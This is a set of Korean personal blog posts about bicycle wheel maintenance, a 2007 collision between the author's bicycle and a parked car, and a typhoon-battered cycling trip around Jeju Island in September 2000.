스포크는 축에서 방사상으로 뻗어나와 림에 지그재그로 연결된 철사로 두 방향에서 가해지는 힘을 림 전체로 분산시키는데, 바퀴가 오른쪽으로 틀어져 있으면 왼쪽 스포크를 댕기거나 오른쪽 스포크를 느슨하게 해서 중심축과 림 사이의 장력을 조절하여 평평성을 유지하지 않으면 휨 정도가 점점 심해지면서 나중에는 스포크가 휘거나 부러진다. 스포크가 부러지면 자전거 바퀴로써의 기능은 끝장난다. 이론상 그렇고, 꿈속에서 이미지로 본 것도 그랬는데(사고실험!), 실제로 해보니 정말 그랬다. 역시, 자전거에서 가장 위대한 발명품은 휠이다. 자전거 바퀴의 무게를 가볍게 하면서 하중을 버티는 간단하지만 효과적인 트러스.

림의 틀어짐을 교정한 후(생각대로 되니 기뻤다) 새로 산 바이크핸드 공구셋을 흐뭇하게 바라보다가 자전거를 완전 분해해 볼 생각을 품게 되었다. 좋은 공구가 생겼으니 이 고물 자전거를 폐기처분하기 전에 자전거에 관해 좀 더 학습하는 기회로 삼고 당분간 더 타자고 마음먹었다. 
시험주행이 만족스럽다. 자전거에서 소리가 하나도 안 난다. 브레이킹이나 턴에도 미끄러지지 않는다. 요동이 감소해 주행은 비단결처럼 부드럽다. 흡사 새 신발을 신은 것 같다.
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자전거 사고

잡기 2007. 10. 4. 13:45
영화에는 국경이 없어도 영화팬에게는 조국이 있다. -- 변희재씨의 돋보이는 생트집.

'금단의 선'을 넘어 북쪽으로 걸어간 노무현 대통령은 배낭여행자들의 오랜 숙원을 이뤘다. 남북분단선을 육로로 건널 수 있으면 유라시아 대륙이 완전히 뚫리는 것이다. 내친 김에 중국, 몽골, 러시아, 유럽까지 기차타고 돌아다니면서 외교활동을 펼쳤더라면 어땠을까 싶다. 아무리 정치적인 쇼라고 하지만 '금단의 선'을 넘은 그 모습은 감동적이었다. 정치가 미래, 비전, 희망을 보여주는 쇼가 아니라면 얼마나 재미가 없겠나.
 
추분이 지났다. 여름이 갔다. 여름처럼 맥주와 통닭을 먹지는 못할 것이다. 지방이 부족한 닭을 기름에 튀기면 기름옷에 지방이 배인다. 맥주에는 탄수화물이 많다. 따라서 맥주+통닭은 단백질, 탄수화물, 지방이 골고루 갖춰진 삼위일체 저녁식사다. 통닭에 맥주를 한 잔 하면서 밀린 드라마를 느긋하게 쳐다볼 때는 행복했다.
 
메이드 인 차이나 없이 살아가기 -- 우연한 기회에 본 다큐멘터리. 1부만 보고 2부는 보지 못했으나, 듣자하니 일본 가족은 1주일 만에 포기하고, 미국 가족은 하루인지 이틀만에 포기. 한국 가족은 한 달을 중국 제품 없이 살아남았단다. 중국 제품 없이 살아가기에서 조차 한국인의 우수한 개김성(은근과 끈기)을 보여주는 것일지도 모르겠다. 웃음.
 
10월 1일 자전거 타고 출근하다가 그랜저와 박았다. 손가락 사이에 긁힌 상처 뿐 다친 데는 없는데, 20kmh로 달리다가 골목에서 나와 서 있는 차를 2-3초 동안 고개를 숙이고 있다가 보지 못하고 그대로 박아 자동차 앞바퀴 사이에 자전거 바퀴가 끼었고 본넷에 몸뚱이가 부딫히면서 본넷이 일부분 찌그러지고, 범퍼에 긁힌 상처가 남았다. 자전거 앞 바퀴 림이 살짝 휘었다.

비가 살살 내리고 있었다. gps에 찍힌 당시 주행 속도가 20kmh(초당 5.5m)니까, 11m ~ 16m  앞을 보지 않고 진행중 갑자기 나타난 자동차를 발견하고(자동차가 서 있는 것을 보지 못하고)  급히 브레이크를 잡았으나 늦어서 자동차를 박은 것이다. (내가 자동차를 사지 않는 이유가 이것 때문이다. 운전중에 딴전을 피우거나 딴 생각을 많이 하는 편이다. 이걸 설득력이 없는 핑계로 여기는 사람들이 참 많다)
 
경찰 불러서 사고처리할까, 하다가 내 잘못이 크고 자동차의 흠집이 그리 크지 않은 수준이라(두 사람 다 놀랐다) 대충 합의하기로 하고 명함 건네준 후 자전거를 타고 회사에 출근. 10월 2일 전화가 왔는데 사고 차량의 견적가가 무려 40여만원 나왔다.
 
2일 밤 퇴근 무렵에 경찰서에서 회사로 전화가 왔단다. 뺑소니 신고가 들어왔단다. 내 명함의 전화번호로 자동차 주인이 전화를 해 봤는데 전화가 안되어 뺑소니 신고를 한 모양인데 이미 연락이 된 상황. 명함의 전화번호가 잘못 찍혀 있었고 휴대폰을 집에 놔두고 출근하지 않아 사정을 모르고 있었다.

합의 후 30만원을 물어주기로 했다. 좀 더 까칠하게 나갈 수도 있었지만(자동차-자전거 사고에서 자전거가 아무리 잘못했어도 도로상의 약자 이므로 일정 비율의 쌍방과실로 인정되어 합의가 가능) 내 자신이 그렇게 할 만큼 뻔뻔한 것도 아니고(전방주시 잘 하면서 직선로에서 잘 나가고 있었는데 골목에서 갑자기 차가 튀어나와 브레이크를 잡았으나 제동거리를 확보하지 못해 어쩔 수 없이 박았다고 우기기) 최근 자전거 운행하면서 사고가 잦은 이유가 내 자신의 30만원 짜리 문제임을 반성해야 할 것이다.

이러다가 사람 치겠다.
 
공교롭게도 기어비를 평소의 2:6에서 3:6으로 업그레이드 하고 28kmh 가량의 평속이 나오기 시작하면서 최근에 도로에서 속도를 내기 시작했는데(주행중 케이던스 유지가 아니라 이제는 근력 강화로 바뀌어 가는 듯) 그런 시점에서 난 사고라 뜻깊다.

덕분에 누구나 선망하는 매트릭스 액션도 해봤다. 핸들을 놓지 않았고 브레이크 잡는 순간 뒷바퀴가 들리면서 몸이 공중제비를 한 바퀴 돌아 본넷을 굴러(이때, 어깨로 둥글게 굴려 떨어지는 낙법 센스) 착지 순간 중심을 잃지 않고 체조선수처럼 등짝을 꼿꼿이 편 채 두 발로 서서 10점 만점의 착지에 성공한 것이다. 심지어 자전거도 자동차 바퀴에 끼어 똑바로 섰다. 사고 당시 주위 사람들 말로는 죽을 뻔 한 거 아니냐, 천만 다행이다 라고 했지만 개의치 않았다. 사고 순간 우아했다. 만족한다.

최근 사고는 대부분 내 잘못이 크고 상처가 경미하며 PTSD를 남기지 않는 공통점이 있다. 오히려 두어달 전에 자전거 정비하고 나서 멍청한 상태로 천천히 달리다가 그냥 픽 쓰러지면서 손목을 삔 것은 2개월이 지난 지금도 손목에 힘을 주기가 힘든 상태.
 
올해 들어 다섯번째 사고인데, 이쯤 되면 자전거를 타지 말자, 바보같은 자식, 이러면서 PTSSD(post traumatic self-torture stress disorder; 사고 후 자학성 스트레스 장애)에 시달려야 할텐데 되려 정신적 충격이 없는 이유는 뭘까, 장애를 현저히 상회하는 둔함/멍청함 때문이 아닐까 -- 이게 다 개마초 스피릿 때문에 그런 것은 아닐까?

사고난 날 밤에도 별다른 정신질환 없이 자전거 타고 집에 돌아왔다. 헤드라이트가 없어 밤길에 제대로 주행을 하지 못한 것이 아쉽다. 그저 잔걱정이라곤 집에서 정비하면서 앞바퀴 휠셋 교정을 제대로 할 수 있을까? 스포크 렌치로 니플을 조여 스포크 장력을 조절하면 되지 않을까, 많이 휜 것은 아니니 힘이 가해지는 휜 림의 반대편을 조절하면 되겠군 하는 생각을 했다. 무엇보다도, 한쪽 바퀴의 스레드만 다 닳은 줄 알았는데 양 쪽 바퀴의 스레드가 대부분 닳아 있어 바퀴 표면적이 넓어져 주행 중 부하가 커졌는데 타이어를 갈지 말고 이것을 근력 강화의 기회로 삼는 것이 어떨까, 여기저기 덜컹거리고 망가져 가는 자전거를 이참에 바꾸는 것은 조잔한 기회주의자 처럼 보일꺼야 하는 류의 생각을 했다.
 
사실 산악에서 자전거를 타지 않는 나같은 사람이 장애, 사고 운운하는 것은 자전거 사고의 본질과는 거리가 먼 호들갑에 불과하다. 자전거 주행=인력+기술+정비+사고
 
전제: 상처(사고)가 없으면 사람은 성장할 수 없다.
결론: 보다 큰 성장을 위해 정진하자.
부언: 마누라는 자전거 탈 때 이어폰 끼면 자전거를 부셔버리겠다고 위협했다.
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제주 일주 자전거 하이킹

'아름다운 폭풍의 계절, 관광은 관광객에게 맡기고 자전거에 몸을 실은 채 씨원한 바람 맞으며 제주도 해안을 돌자' 라는 생각으로 제주 자전거 하이킹을 생각했다. 씨원한 비바람, 죽도록 맞았다. 아드레날린이 솓구치던 나날들이었다. 9/13~9/16 사이의 공교로운 제주 여행기는 어떤 야한 싸이트에서 제주 하이킹 사이트를 소개한 것으로부터 거슬러 올라갈 수 있다. http://www.chejuhiking.co.kr

김훈이 지은 에세이집, '자전거 여행'의 소갯말에 이런 것이 적혀 있다. '살아서 아름다운 것들은 나의 기갈에 물 한 모금 주지 않았다. 그것들은 세계의 불가해한 운명처럼 나를 배반했다. 그러므로 나는 빈곤하고 보잘 것 없는 언어로 그 운명에 맞선다. 나는 백전백패할 것이다.' 여기까지 읽은 후, 두말 않고 그 책을 샀다. 살아서 아름다운 것들은 나의 기갈에 물 한모금 주지 않았다. 마음에 드는 대목이다.

9/13 12:00

아침부터 비가 올 기색이었다. 전날밤엔 부러 술을 자제했다. 술이 들어가면 근육이 뻑뻑해서 잘 움직이지 않으니까. 아침에 깨어났을 때 짐을 챙겼다. 여벌의 티셔츠, 반바지 각각 한 벌, 침낭 하나, 알콜 램프, 칼, 룽기, 모자 하나, 수건 하나, 칫솔, 치약, 비누, 오버 트라우저 한 벌, 비상식량으로 쵸코바 두 개, 혹시나 해서 판초우의, 그정도였다. 그런데도 짐이 무거웠다.

편의점에서 컵라면 하나 사먹고 램프에 넣을 알코올을 사러 돌아 다녔지만 구할 수 없었다. 늦기 전에 공항으로 가서 비행기를 탔다. 칼기보다 스튜어디스가 예쁘고 비행기가 깨끗하다는 이유로 만원 더 주고 산 아시아나 항공권을 잘 샀다고 생각하진 않았다. 우유도, 맥주도 없었고 고작 캔디 하나를 더 줬다. 팜 파일럿을 꺼내들고 소설을 읽었다. 5400m까지 올라가자 우중충한 지상과는 달리 솜덩이같은 구름 위로 밝은 해와 새파란 하늘이 보였다.

9/13 16:00

제주항에는 비바람이 몰아치고 있었다. 열대 수목의 허리가 휘어졌다. 낯설지 않은 광경이다. 내게 제주도는 그닥 이국적인 곳이 아니었다. 모자를 쓰고 오버 트라우저를 걸쳤다. 그리고 자전거 가게에 전화했다. 텐트와 자전거를 빌리고 싶다고 하니 공항까지 픽업하러 나와주겠다고 말했다. 그동안 공항 내의 관광센터에서 렌트카 회사에서 만든 듯한 관광지도를 한 장 가져오고 담배 한 대 피우며 여정을 짚어 보았다.

하늘이 심상치 않았다. 태풍 사오마이는 아마도 오끼나와를 거쳐 동해안 쪽으로 빠질 것이다.

2000/9/16 태풍 사오마이는 동해안을 거쳐 빠져 나갔다. 그 빌어먹을 것이 여행 내내 나를 괴롭혔다.

픽업 차량을 기다리는 동안 현금지급기에서 10만원을 뽑아 주머니에 구겨 넣어두었다. 봉고가 왔고 자전거 가게로 안내해 주었다. 타고 갈 자전거를 점검했다. 자전거를 타 본 지도 벌써 6개월이 넘었다. 작년 여름에 자전거를 타고 이국을 돌아다닌 기억이 얼핏 머리속을 스쳤다.

마침 일정을 다 마친듯한 두 사람이 비닐로 된 비옷을 걸치고 가게로 돌아오고 있었다. 다 돌았어요? 라고 물으니 부끄러운 듯이 성산에서 하이킹을 포기하고 버스 타고 돌아왔단다. 비바람 때문인 듯 싶었다. 자전거 가게 주인 아저씨는 추석이 끝나고 10월 초 무렵까지 비수기라고 말했다. 비수기라니까 괜히 기분이 좋았다. 배낭 커버로 배낭을 싸고 텐트를 달라고 하니 이런 날씨에 야영은 불가능하다고 말렸다. 그래도 달라고 우겼다. 아줌마는 텐트값을 받지 않았다. 텐트를 칠 일이 없다고 생각한 것 같다. 주인 아저씨는 몇 번이나 괜찮겠냐고 물었다. 태풍 때문에 완주는 힘들 것이라고 말했다. 힘들면 주저하지 말고 전화하라고, 그럼 데리러 가겠다고 말했다. 전화할 생각은 없었다. 태풍은 내일쯤 남쪽을 지나갈 것이라고 말했다.

오후 다섯 시, 가게를 나오면서 다짐하듯이 인사했다; 완주하고 오겠습니다. 비가 쏟아지기 시작했지만 바람을 등지고 순조롭게 출발했다. 추석 연휴 때문인지 거리는 한산했다. 시내를 빠져 나와 공항을 끼고 돌아 해안도로로 접어들었다. 마침 착륙하는 비행기가 머리 위를 날아갔다. 비가 몹시 내렸지만 바다를 끼고 달리는 해안도로는 풍광이 볼만했다. 간간이 어디로 갈지 길에서 우왕좌왕하며 무작정 헤메는 신혼부부의 렌트카가 보였다.

도로가 끝나는 곳에서 어촌을 따라 좁은 골목길로 나다녔다. 길이 아주 쉬워서 해안을 끼고 돌다가 내륙 쪽으로 돌아서면 제주 일주도로인 12번 국도가 나타나고는 했다. 여행 내내 12번 국도를 타고 다니게 될 것이다.

비는 멈출 기색이 없이 줄곳 내렸고 바람도 자꾸 거세졌다. 태풍인가? 길다란 오르막길을 올라 갑작스럽게 나타난 가파른 내리막 경사길에서 자전거 바퀴가 도로에 미끄러지기 시작했다. 중간 쯤에서 왼쪽으로 크게 꺽어지는 도로였다. 바퀴의 휠에 밀착된 브레이크의 고무가 비명을 질렀다. 양쪽 브레이크를 모두 잡았지만 자전거가 미끄러지며 좌우로 요동을 쳤다. 페달을 박차고 펄쩍 뛰었다. 뛰면서 '나는 닭이다' 라고 생각했다. 자전거는 도로의 가이드 펜스에 맞고 핑그르르 돌았고 내 몸뚱이는 닭처럼 땅바닥으로 고꾸라지면서 주욱 밀려나갔다. 몸이 두세바퀴쯤 구르다가 중앙선을 침범했다. 도로교통법 위반이다. 나는 도로의 왼쪽에 와불상처럼 누워있었고 자전거는 오른쪽에 널부러져 있었다. 다행히 지나가는 자동차가 없었다. 아드레날린이 솟구쳐 일어서보니 특별히 뼈가 다친 데는 없는 것 같았다.

비 때문에 마침 입고 있었던 방수의가 약간 찢어지고 왼쪽 팔꿈치와 왼쪽 엉치뼈가 도로에 미끄러지면서 긁혔다. 반청바지가 찢어져 구멍이 뚫렸다. 피부가 벗겨진 팔꿈치 상처에서 피가 맺혀 뚝뚝 떨어졌다. 도로변으로 흐르는 빗물에 상처를 씻었다. 상처가 안 아픈 것을 보니 체내의 비상 경보체계가 제대로 동작하고 있다. 도시 생활에 찌든 허약하고 병신같은 몸뚱이지만 아직은 그럭저럭 쓸만한 듯 싶다. 빗줄기 덕택에 휠에 빗물이 묻어 제동이 제대로 안 된 것이다. 자전거를 점검해 보았다. MTB라서 그런지 휠도 휘지 않았고 핸들도 꺽이지 않았다. 기어도 멀쩡했다.

천천히 가자. 해안의 촌락으로 들어서자 지나가던 동네 사람들이 태풍이 불어와 위험하니 돌아가라고 충고했다. 해안을 따라 바람이 심하게 불고 있었다. 두어번 파도를 뒤집어 쓰니까 방수의도 쓸모가 없었다. 쫄딱 젖었다. 안경에는 바위에 부서진 파도의 포말이 내려앉아 종종 시야가 희뿌옇게 변했다. 안되겠다 싶어서 12번 국도 쪽으로 방향을 틀었는데 계속 논밭만 나왔다.

날이 일찌감치 저물어 어스름이 깔리기 시작했다. 사방을 둘러보니 허허벌판의 중심이다. 사방에서 바람이 밀어닥치고 전신주의 전선을 통과하면서 찢어졌다. 허공에 비명 소리가 남았다. 마파람 탓에 페달에 힘을 주어도 자전거가 나가지 않았다. 기를 쓰고 페달을 밟았다. 결국 페달의 플라스틱 발판이 한쪽 방향으로 부러졌다. 바람과 비가 교대로 나를 우롱했다. 첫날부터 좀 심하다는 생각이 들었다.

저쪽에 12번 국도가 보였다. 거리는 50여 미터가 되지 않았지만 포장이 되지 않은 자갈 도로라서 20분 이상이 걸린 것 같다. 이번에는 도로를 따라 제대로 갈 작정이었다. 도로에는 가로등 하나 없이 어두웠고 인가의 불빛마저 보이지 않았다.

저녁 7시, 유유자적 돌아다니는 것은 이쯤 해두고 해수욕장을 찾아 보았다. 예정으로는 그곳 야영장에서 야영 생각이었다. 해수욕장은 불빛 하나 없이 어두컴컴하고 인적은 보이지 않았다. 파도가 너비 20여 미터 정도 되는 해변 끝까지 밀려오고 있었다. 해수욕장 옆의 야영장에는 소나무를 통과하는 바람 소리가 귀곡성처럼 음산하게 들려왔다.

날이 어두워 텐트를 치기가 힘들 것 같아 근처 민박집을 찾아 돌아다녔다. 쉽지 않았다. 무작정 집의 문고리를 두들겨 이집 저집을 전전하다가 간신히 하나 발견하고 들어갔다. 25000원을 달랬다. 비수기니까 15000에 해달라고 말했다. 20000원에 해주겠다고 말했다. 15000원이 아니면 다른 곳으로 가겠다고 말했다. 비바람에 지쳐 다른 곳을 찾아볼 형편이 아니어서 불안했다. 주인 아줌마는 잠시 생각해보더니 흔쾌히 수락하고 이불을 가져다 주었다.

생각해 보니 하루종일 컵라면 하나로 버티고 있었다. 근처 식당들이 모두 문을 닫아 민박집 주인 아줌마에게 물어 수퍼에서 라면과 맥주 한 캔을 사왔다. 아줌마가 식은 밥과 김치를 가져다 주었다. 라면을 이렇게 맛있게 먹어보긴 처음이다.

밥먹고 짐을 정리했다. 오는 길에 쏟아져 내리는 빗줄기로 젖은 옷들은 선풍기 바람에 말렸다. 배낭은 젖지 않아서 다행이다. 자기 전에 파일럿으로 소설을 마저 읽고 잤다.

9/14

눈을 떴다. 사방에서 덜커덕 거리는 소리가 요란하게 들렸다. 문틈으로 바람이 비집고 들어왔다. 커튼을 들춰보니 밖은 훤하게 밝아 있었다. 기온이 대략 20도 안팎일텐데 바람 때문인지 생각보다 서늘했다. 그나저나 태풍은 거의 지나갔나? 비가 안 오네?

짐을 자전거에 싣고 물병에 수돗물을 채우고 복장을 단단히 여민 채 도로로 나섰다. 제주도에서는 수돗물을 그냥 식수로 사용한다고 어젯밤에 주인 아줌마가 자랑했다. 히죽 웃고 수돗물을 마셨다.

7시 밖에 안되어 지나가는 사람이나 차량은 보이지 않았다. 한림공원이라? 공원 따위는 흥미가 없어 들르지 않았다. 어제는 용두암도 그냥 지나쳤다. 배가 고팠지만 뭘 사먹을 만한 곳은 눈에 띄지 않았다. 해안 도로 곳곳에는 추석 연휴 탓인지 태풍 탓인지, 아니면 비수기라서 그런지 평소라면 쥐치와 한치회를 파는 작은 방갈로같은 가게들이 모두 문을 닫아놓았다. 비상식량으로 한두 개 준비해 온 초코바를 꺼내 씹어 먹었다.

간간히 비가 오다 멈추다가 했다. 기온은 그럭저럭 따뜻했지만 바람은 어제보다 심했다. 해안도로랍시고 따라간 도로는 종종 이유없이(?) 끝나기 일쑤였다. 비가 왔지만 자전거를 멈추고 해변을 바라보며 담배를 피우거나 느적느적 늦장을 부렸다. 풍경이 삼삼하다.

어째어째 해서 도로를 따라가다 보면 야트막한 산 정상이었다. 산 기슭의 잘 보이지 않는 곳에서 어떤 여자가 슬금슬금 기어나왔다. 자세히 살펴보니 텐트가 있었다. 제주도의 대부분이 화산을 중심으로 한 평야이기 때문에 바람이 머물 곳을 찾지 못해 이래저래 개떼처럼 돌아다녔고, 바람이 마치 고인 것처럼 한 곳에서 머물러 소용돌이 치는 곳을 바람코지라고 불렀던가?

수월봉, 바다 건너편으로 차귀도가 보였다. 해안에서 대략 100-200 미터 거리 밖에 안되어 보였다. 제주도와 그 작은 섬 사이로 큰 파도가 마치 마녀가 사틴 드레스를 펼치고 비명을 지르며 달려가듯 우르르 지나가는 것이 보였다. 곳곳의 어촌에는 배가 나가지 않고 있었다. 태풍은 이미 지나가고 그 흔적만 남아 바람이 몰아치는 것은 아닐까?



날이 맑다면 저녁 때 석양을 보기 좋을 것 같다. 비록 70여 미터 밖에 안되는 야트막한 오롬이지만 전망이 좋았다. 내가 바라본 곳은 서쪽이었고, 그리로 해가 질 것이다.

길을 따라 내려와 논밭 사이로 지나갔다. 흙은 검고 작물은 이미 수확했는지 밭에는 이랑질만 되어 있었다. 왠일인지 사람 하나 보이지 않고 을씨년스럽기만 했다.

줄곳 진행해도 구멍가게 하나 보이지 않았다. 촌락의 검은 논밭 사이로 구비구비 뻗은 한적한 농로와 촌락의 을씨년스럽게도 인적이 느껴지지 않는 골목길을 더듬어가는 짓은 그만두고 다시 12번 국도로 돌아왔다.

도로에는 맞바람이 강하게 불어오고 있었다. 경사가 4- 5도 정도 되는 내리막길에서조차 자전거가 가속을 받지 못하고 심지어는 나아가질 않고 뒤로 밀려갔다. 평지에서 가만히 있으면 맞바람 때문에 자전거가 스멀스멀 뒤로 기어갔다. 페달을 밟아야 했다.

오르막길에서 닥친 맞바람은 이중으로 피곤했다. 페달을 밟다가 지치면 자전거에서 내려 자전거를 끌고 갔다. 그것도 그리 쉽지만은 않았다. 구름이 매우 빠른 속도로 흘러갔다. 검은 구름이 밀려오면 어김없이 비가 한바탕 쏟아졌다. 구름이 다 지나가면 갑자기 햇빛이 쨍쨍 내리쬐었다. 짐칸에 묶어둔 방수의를 풀어 입었다가 다시 벗어 짐칸에 묶기를 반복했다. 돋아나는 땀 때문에 햇볕 아래에서 방수의를 입고 있기는 힘들었다.

간간히 읍리 정도의 거리가 보였다. 노변에 늘어선 가게들은 강원도 산골의 전형적인 촌락의 단층짜리 건물과 많이 닮아 있었다. 제주도의 일부 도시를 제외하고 대부분은 개발이 되지 않았던가 주요 산업이 농업과 수산업, 그리고 관광업이 전부인 점도 강원도와 닮았다. 관광산업은 강원도를 극도로 망쳐놓았다. 제주도 인심이 좋다던데, 제주도만 좋을라고. 한국인들은 어디가나 인심이 좋다. 물으면 친절하게 가르쳐 주고, 같이 따라와 주고, 물과 음식을 나누어 준다. 거리에서 사람들을 쳐다보면 마주 쳐다보았다. 그다지 웃음이 없는 편이라 그들에게 표정을 지어보이지 않았다. 아이들에게는 미소를 지었다.

미친년 지랄하는 것 같은 날씨였다. 오르막, 내리막, 어느 경우에나 강한 맞바람, 그래서 다리에 차츰 알이 배기기 시작했다. 바람의 저항이 이다지도 거셀 줄이야... 지쳐 쓰러질 지경이 다 되어서야 문을 연 구멍가게를 발견해 우유와 빵을 각기 두개씩 사서 가게 한켠에 앉아 말 그대로 게걸스럽게 우걱우걱 1분 만에 먹어치웠다. 아줌마에게 물어보았다. 여긴 늘 바람이 이렇게 쎄게 불어요? 아줌마가 태풍 때문이라고 말했다. 태풍은 어떻게 되었죠? 제주도 남쪽 바다에 머물러 있다고 말했다. 바로 여기군요. 고개를 끄떡였다. 왠지 재수가 없는 것 같았다.

한림에서 중문까지가 가장 힘들다는 코스였다. 대부분 이 코스에서 기진맥진해 지나가는 버스를 잡아타거나 자전거를 대여해 준 가게에 전화해 포기하겠노라고 항복선언을 할까말까 망설이게 되는 코스, 아마도 전날 오랫만에 자전거를 타면서 다리 근육이 뻣뻣하게 굳은 데다가 오르락 내리락을 반복하다보니 근육이 피로해져 견디기 힘들어진 탓일게다.

면밀히 검토를 거듭해 제주시 서쪽에서 시작해 남쪽의 서귀포를 거쳐 서쪽의 성산 일출봉을 지나 다시 제주시로 돌아오는 코스를 선택했다. 처음 힘들고 나중에는 편하게 가보자는 생각에서였다. 듣자하니 그 코스면 맞바람 안 맞고 갈 수 있다고도 했다. 12번 도로의 일주거리는 대략 180km 안팍, 해안도로나 이것저것 관광지를 둘러보며 다닌다면 220km 정도, 자동차로는 서너시간이면 돌겠지만 시간당 12km씩 잡아서 자전거로는 18시간 가량 소여된다. 하루에 6시간씩 잡으면 3일 정도의 거리가 되는 셈. 첫날은 한림까지, 둘째날은 중문, 세째날은 성산까지, 네째날은 제주로 돌아오는 일정을 잡아놓았다.

오전 중으로 중문에 도착하면 오후 내내 '해수욕'을 즐기기로 했다. 간간히 반복되는 강한 비바람을 헤치고 정작 중문에 도착하고 보니 중문 관광단지로 이어지는 심상치 않은 내리막길에서 불안한 기분이 들었다. 내리막이 이렇게 급하면 올라올 때는 힘든 법, 길을 잘못 들어 하얏트 호텔과 신라 호텔, 롯데 호텔 구경은 신나게 했다. 하얏트 호텔의 직원들에게 해변을 가로질러 가는 길이 있냐고 물었더니 폐쇄되었다고 한다. 한 친구는 폐쇄되지는 않았다고 말하기도 했다. 듣자하니 이상해서 그들 말을 무시하고 다시 기어올라갔다.

두세 번쯤 오르락 내리락 하니까 파김치가 되어 중문 관광 단지 입구의 소공원 앞 수퍼에서 우유 하나 사 먹고 오버 트라우저를 맞은 편 벤치에 펼쳐놓고 이쪽 벤치에 누워 헉헉거렸다. 다시 몸을 일으켜보니 샌달과 담배, 파일럿, 오버복 등등이 공원 저쪽으로 낙엽처럼 굴러가고 있었다. 빌어먹을 바람은 아침부터 오후가 된 지금까지 꾸준히 심기를 불편하게 했다.

더 나아가려니 힘들고 날도 더워 여미지 식물원에서 시간을 죽였다. 이런저런 열대 식물들이 있었지만 딱히 흥미를 끄는 식물이라고는 여인초 하나 뿐이었다. 일정한 방향으로 자라기 때문에 여인초가 자라난 잎새의 방향으로 여행자들이 방위를 알 수 있고, 그 잎둥지를 뜯으면 물이 나와 갈증을 해소해 줄 수 있다고 적혀 있었다. 마음에 드는 실용적인 식물이다. 그것 외에는 몇가지 유실수를 제외하고 마음에 드는 것이 없었다. 꽃들은 화려했지만 왠지 씁쓸해 보였다.

어제 비행기를 같이 타고 온 외국인 몇몇이 식물원 아케이드 사이를 떠돌고 있었다. 일본 여자애에게 한국에 놀러 왔냐고 영어로 물으니 어쩔 줄을 몰라했다. 식물원 꼭대기에서 아이스크림을 사 먹으며 사방을 둘러보았다. 그다지 볼만한 풍광이라고는 할 수 없었다. 전형적인 관광지에 이것저것 제주 특유의 자연이 펼쳐져 있고 그 위로 손으로 잡을 수 없고 만질 수도 없는 바람이 지나갔다. 이 사람 저 사람이 내게 길을 물었다. 어디 가나 그곳 현지인처럼 보이는 것도 심심치 않은 경험이다. 되는 대로 가르쳐 주었다. 이쪽, 저쪽, 그쪽, 오던 방향, 가는 방향, 기타 등등. 길도 못찾나? 바로 앞에 관광센터를 앞에 두고도? 귀찮아서겠지.

중문 해수욕장에서 서귀포 시가지로 올라가 민박을 찾아볼까 했지만, 오후 2시, 너무 지쳐서 그냥 그대로 퍼시픽 랜드에서 '돌고래쑈'나 보며 시간을 죽이기로 했다. 한가해 보이는 사람들, 관광객들이 줄을 서서 표를 끊고 있었다. 어쩐지 정이 안가는, 나하고는 거리가 먼 관광객들로 보였다.



평상시의 중문 해수욕장

해수욕장으로 내려가보니 집채만한 파도가 해변을 쓸어내리고 있었다. 도저히 '해수욕'을 즐길 형편이 아니었다. 빌어먹을 태풍. 아까 들렀던 하얏트 리젠시 호텔이 저 멀리 좋은 자리를 차지하고 서 있었다. 해변에는 사람의 그림자가 보이지 않았다. 태풍 때문에 위험하다고 해수욕장을 폐쇄해 놓은 것 같다. 공짜라는 탈의실, 샤워실도 자물쇠를 채워 놓았다. 샤워할 형편이 안되었다. 그저 식수대에서 얼굴에 물을 묻혔다.

'돌고래쑈'를 다 보고 팔자좋게 빈둥거리고 있는 물개와 펭귄들을 약올려서 길길이 날뛰게 만들고 나니 허기가 져서 이번에는 제대로 된 식사를 해 보자고 식당에 들어갔다. 이틀 동안 라면, 우유, 빵 따위만 먹어서 도저히 힘이 안났다. 텅 빈 식당에서 종업원은 '관광지 가격'이 적힌 메뉴판을 불쑥 내밀었다. 식당에는 한물간 70년대 팝송이 줄기차게 흘러나오고 있었다. 어쩌다보니 그걸 따라 흥얼거리는 자신을 발견하게 되었다. 비싼 것은 꿈도 못꾸고 그나마 '해산물(단백질)'이 다수 들어가 있을 것으로 짐작되는 '해물 뚝배기'를 시켰다. '조개밭'이었다. '모래'도 간혹 씹혔다. 밑반찬으로 나온 무의미한 '야채들'은 한켠으로 제껴두고 밥 한 톨, 마지막 국물 한 방울까지, 남김없이 해치웠다. 머릿속으로는 포도당, 단백질, 탄수화물, 단백질, 그 생각만 했다.

식사가 힘이 되주지 않아 다시 자전거를 몰고 언덕을 올라갈 기운이 없었다. 야영에 대비해 호롱불의 연료를 사려고 '관광지 가격'으로 감귤을 팔고 있는 할마시에게 물어보니 산등성이에 있는 콘도에 가보라고 했다. 산등성이까지 힘겹게 올라가서 물어 보았지만 그런 것은 취급하지 않는단다. 콘도의 옥외 수영장에는 물 한방울 없었고 비수기여서 인지 빨래가 널린 베란다는 셋 정도 밖에 보이지 않았다. 파리를 날리고 있는 관광상품점에 들러 플래시라도 사려고 하니 플래시만 있고 전지가 없었다. 알이 배겨 내치기도 힘든 다리를 끌고 이런저런 가계들을 이 잡듯이 뒤져보았지만 시내로 가야 구할 수 있을 꺼라는 말만 되풀이 했다. 다리가 몹시 아팠다. 가슴도 아팠다.

짐과 자전거는 야영장에 내팽개쳐두고(누가 훔쳐갈 걱정은 안했다) 물어물어 시내로 향하는 좌석버스를 탔다. 좌석에는 호텔이나 관광단지의 상점 점원으로 보이는 젊은 사람들이 몇몇 올라탔다. 시내에 내리니 비가 내리기 시작했다. 비를 쫄닥 맞은 채 낚시점을 전전하며 연료를 구해봤지만 소득이 없었다. 학교 앞 문방구에서 플래시를 간신히 구해 중문 해수욕장 옆의 야영장으로 돌아왔다.

오가는 할머니, 할아버지 할 것 없이 오늘 태풍이 부니까 여기서 야영하는 것은 위험하다고 한 마디씩 마치 녹음기처럼 얘기했지만 묵묵히 텐트를 쳤다. 바람이 몹시 심하게 불어 텐트 치는데만 한 시간 가량 걸렸다. 대부분은 주변에서 무거운 바위를 낑낑 매고 들고와 고이거나 줄을 찾아 다니느라 소비한 시간이다. 스위스제 아미 나이프는 구입한 지 일년이 지났건만 녹 한번 안슬고 생생하게 날이 살아 있어 그나마 흡족했다. 고단한 허리를 들고 야영장을 둘러 보았다. 비바람이 몰아치는 야영장에 텐트를 친 사람은 나 혼자 뿐이었다.

저녁 어스름이 깔리기 시작했다. 간간이 아베크족들이 야영장 근처를 배회하다가 차량점검을 하던가 2-30분쯤 음악을 즐긴 다음 슬며시 떠났다. 저녁 8시가 조금 넘자 주위에서 인적이 완전히 사라졌다.

